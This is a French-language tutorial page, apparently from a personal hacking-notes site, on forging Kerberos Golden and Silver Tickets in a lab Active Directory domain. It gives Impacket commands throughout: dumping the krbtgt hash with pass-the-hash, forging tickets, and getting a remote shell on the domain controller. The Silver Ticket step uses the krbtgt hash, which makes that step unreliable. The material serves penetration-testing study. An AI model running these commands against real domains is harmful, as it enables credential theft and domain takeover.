> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md).

# Kerberos Golden Ticket et Silver Ticket

Notes de sécurité Active Directory pour Kerberos Golden Ticket et Silver Ticket, couvrant l'énumération, Kerberos, les identifiants, l'abus des ACL, le mouvement latéral, le flux de travail d'exploitation et les étapes de validation.

L’objectif est de forger nos propres tickets Kerberos.

Pour ce faire, nous commençons par récupérer les secrets nécessaires depuis le contrôleur de domaine.

{% code overflow="wrap" %}

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86 
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aef15ce41e6c9ae401a31c87e18238b09f4722ee%2Fimage%20(13).png?alt=media" alt=""><figcaption></figcaption></figure>

Ici, nous récupérons le hash du `krbtgt` compte.

* 2ebd06648a79ae82327c33648b68aa82

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f085da3b01c5617ba74626fe7d02afc3519552f5%2Fimage%20(14).png?alt=media" alt=""><figcaption></figcaption></figure>

Nous récupérons également le `SID du domaine`.

{% code overflow="wrap" %}

```bash
Get-ADDomain
```

{% endcode %}

* S-1-5-21-3587670147-487768648-1292400310

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ab401e3a160b1e7cbcfdb43ef8c8a4f1fd17153%2Fimage%20(15).png?alt=media" alt=""><figcaption></figcaption></figure>

Avec `ticketer.py` nous pouvons générer un Golden Ticket pour ce compte.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local administrador
```

{% endcode %}

Nous chargeons ensuite ce ticket dans le cache Kerberos local.

{% code overflow="wrap" %}

```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea9ee52ab8a87f59a1ec93c2bfa824e6d303059c%2Fimage%20(17).png?alt=media" alt=""><figcaption></figcaption></figure>

Une fois le ticket chargé, nous pouvons nous connecter à distance sans mot de passe.

{% code overflow="wrap" %}

```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-208aa6b05cfe0b82667b0bfaa8028c10fdd09fd1%2Fimage%20(18).png?alt=media" alt=""><figcaption></figcaption></figure>

Pour générer un Silver Ticket, le principe reste le même, mais le ticket est destiné à un service spécifique.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local -spn cifs/DC01.whoami.local administrador
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69c312def487a63af1bea798d578f0cc08dcb6fd%2Fimage%20(20).png?alt=media" alt=""><figcaption></figcaption></figure>


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